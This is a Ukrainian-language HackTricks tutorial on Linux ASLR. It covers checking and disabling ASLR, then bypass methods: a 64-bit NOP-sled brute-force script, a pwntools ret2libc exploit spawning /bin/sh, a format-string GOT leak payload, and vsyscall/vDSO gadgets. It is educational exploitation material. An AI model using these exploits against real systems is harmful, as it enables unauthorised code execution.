ASLR
Reading time: 10 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Address Space Layout Randomization (ASLR) - це техніка безпеки, що використовується в операційних системах для випадкового розташування адрес пам'яті, які використовуються системними та прикладними процесами. Це ускладнює зловмиснику передбачити місцезнаходження конкретних процесів і даних, таких як стек, купа та бібліотеки, що зменшує ризик певних типів експлойтів, зокрема переповнень буфера.
Перевірка статусу ASLR
Щоб перевірити статус ASLR на системі Linux, ви можете прочитати значення з файлу /proc/sys/kernel/randomize_va_space
. Значення, збережене в цьому файлі, визначає тип ASLR, що застосовується:
- 0: Немає випадкового розташування. Все статичне.
- 1: Консервативне випадкове розташування. Спільні бібліотеки, стек, mmap(), сторінка VDSO випадкові.
- 2: Повне випадкове розташування. На додаток до елементів, випадкових за допомогою консервативного випадкового розташування, пам'ять, керована через
brk()
, також випадкова.
Ви можете перевірити статус ASLR за допомогою наступної команди:
cat /proc/sys/kernel/randomize_va_space
Вимкнення ASLR
Щоб вимкнути ASLR, ви повинні встановити значення /proc/sys/kernel/randomize_va_space
на 0. Вимкнення ASLR зазвичай не рекомендується поза сценаріями тестування або налагодження. Ось як ви можете це зробити:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Ви також можете вимкнути ASLR для виконання за допомогою:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Увімкнення ASLR
Щоб увімкнути ASLR, ви можете записати значення 2 у файл /proc/sys/kernel/randomize_va_space
. Це зазвичай вимагає прав root. Увімкнення повної рандомізації можна зробити за допомогою наступної команди:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Стійкість під час перезавантаження
Зміни, внесені за допомогою команд echo
, є тимчасовими і будуть скинуті після перезавантаження. Щоб зробити зміни постійними, вам потрібно відредагувати файл /etc/sysctl.conf
і додати або змінити наступний рядок:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Після редагування /etc/sysctl.conf
, застосуйте зміни за допомогою:
sudo sysctl -p
Це забезпечить збереження ваших налаштувань ASLR після перезавантаження.
Обходи
32-бітний брутфорс
PaX ділить адресний простір процесу на 3 групи:
- Код і дані (ініціалізовані та неініціалізовані):
.text
,.data
та.bss
—> 16 біт ентропії в зміннійdelta_exec
. Ця змінна випадковим чином ініціалізується з кожним процесом і додається до початкових адрес. - Пам'ять, виділена за допомогою
mmap()
, та спільні бібліотеки —> 16 біт, названіdelta_mmap
. - Стек —> 24 біти, що називається
delta_stack
. Однак, фактично використовується 11 біт (з 10-го до 20-го байта включно), вирівняних на 16 байт —> Це призводить до 524,288 можливих реальних адрес стеку.
Попередні дані стосуються 32-бітних систем, а зменшена фінальна ентропія дозволяє обійти ASLR, повторюючи виконання знову і знову, поки експлойт не завершиться успішно.
Ідеї для брутфорсу:
- Якщо у вас є достатньо великий переповнення, щоб вмістити великий NOP слайд перед shellcode, ви можете просто брутфорсити адреси в стеку, поки потік не стрибне через якусь частину NOP слайду.
- Інший варіант для цього, якщо переповнення не таке велике, і експлойт можна запустити локально, — це додати NOP слайд і shellcode в змінну середовища.
- Якщо експлойт локальний, ви можете спробувати брутфорсити базову адресу libc (корисно для 32-бітних систем):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Якщо ви атакуєте віддалений сервер, ви можете спробувати брутфорсити адресу функції
libc
usleep
, передаючи в якості аргументу 10 (наприклад). Якщо в якийсь момент сервер відповідає на 10 секунд довше, ви знайшли адресу цієї функції.
tip
У 64-бітних системах ентропія значно вища, і це не повинно бути можливим.
Брутфорс стеку 64 біти
Можливо зайняти велику частину стеку змінними середовища, а потім спробувати зловживати бінарним файлом сотні/тисячі разів локально, щоб його експлуатувати.
Наступний код показує, як можливо просто вибрати адресу в стеці і кожні кілька сотень виконань ця адреса міститиме інструкцію NOP:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback
# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}
cont = 0
while True:
cont += 1
if cont % 10000 == 0:
break
print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'
try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass
.png)
Локальна інформація (/proc/[pid]/stat
)
Файл /proc/[pid]/stat
процесу завжди доступний для читання всім і містить цікаву інформацію, таку як:
- startcode & endcode: Адреси вище і нижче з TEXT бінарного файлу
- startstack: Адреса початку стеку
- start_data & end_data: Адреси вище і нижче, де знаходиться BSS
- kstkesp & kstkeip: Поточні адреси ESP та EIP
- arg_start & arg_end: Адреси вище і нижче, де знаходяться cli аргументи.
- env_start &env_end: Адреси вище і нижче, де знаходяться змінні середовища.
Отже, якщо атакуючий знаходиться на тому ж комп'ютері, що й бінарний файл, який експлуатується, і цей бінарний файл не очікує переповнення з сирих аргументів, а з іншого входу, який можна створити після читання цього файлу. Атакуючий може отримати деякі адреси з цього файлу та побудувати з них офсети для експлуатації.
tip
Для отримання додаткової інформації про цей файл перегляньте https://man7.org/linux/man-pages/man5/proc.5.html, шукаючи /proc/pid/stat
Маючи витік
- Виклик полягає у наданні витоку
Якщо вам надано витік (легкі CTF виклики), ви можете розрахувати офсети з нього (припустимо, наприклад, що ви знаєте точну версію libc, яка використовується в системі, яку ви експлуатуєте). Цей приклад експлуатації витягнуто з прикладу звідси (перегляньте цю сторінку для отримання додаткових деталей):
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Зловживаючи переповненням буфера, можна експлуатувати ret2plt для ексфільтрації адреси функції з libc. Перевірте:
- Format Strings Arbitrary Read
Так само, як у ret2plt, якщо у вас є довільне читання через вразливість форматних рядків, можливо ексфільтрувати адресу функції libc з GOT. Наступний приклад звідси:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Ви можете знайти більше інформації про довільне читання форматних рядків у:
Ret2ret & Ret2pop
Спробуйте обійти ASLR, зловживаючи адресами всередині стеку:
vsyscall
Механізм vsyscall
служить для підвищення продуктивності, дозволяючи виконувати певні системні виклики в просторі користувача, хоча вони є фундаментальною частиною ядра. Критична перевага vsyscalls полягає в їх фіксованих адресах, які не підлягають ASLR (випадкове розташування адресного простору). Ця фіксована природа означає, що зловмисники не потребують вразливості витоку інформації, щоб визначити свої адреси та використовувати їх у експлойті.
Однак тут не буде знайдено супер цікавих гаджетів (хоча, наприклад, можливо отримати еквівалент ret;
)
(Наступний приклад і код є з цього опису)
Наприклад, зловмисник може використовувати адресу 0xffffffffff600800
в експлойті. Хоча спроба стрибнути безпосередньо до інструкції ret
може призвести до нестабільності або збоїв після виконання кількох гаджетів, стрибок на початок syscall
, наданого секцією vsyscall, може виявитися успішним. Обережно розміщуючи гаджет ROP, який веде виконання до цієї адреси vsyscall, зловмисник може досягти виконання коду без необхідності обходити ASLR для цієї частини експлойту.
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤ x/8g 0xffffffffff600000
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
0xffffffffff600800: mov rax,0x135
0xffffffffff600807: syscall
0xffffffffff600809: ret
0xffffffffff60080a: int3
vDSO
Зверніть увагу, як може бути можливим обійти ASLR, використовуючи vdso, якщо ядро скомпільоване з CONFIG_COMPAT_VDSO, оскільки адреса vdso не буде випадковою. Для отримання додаткової інформації перегляньте:
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.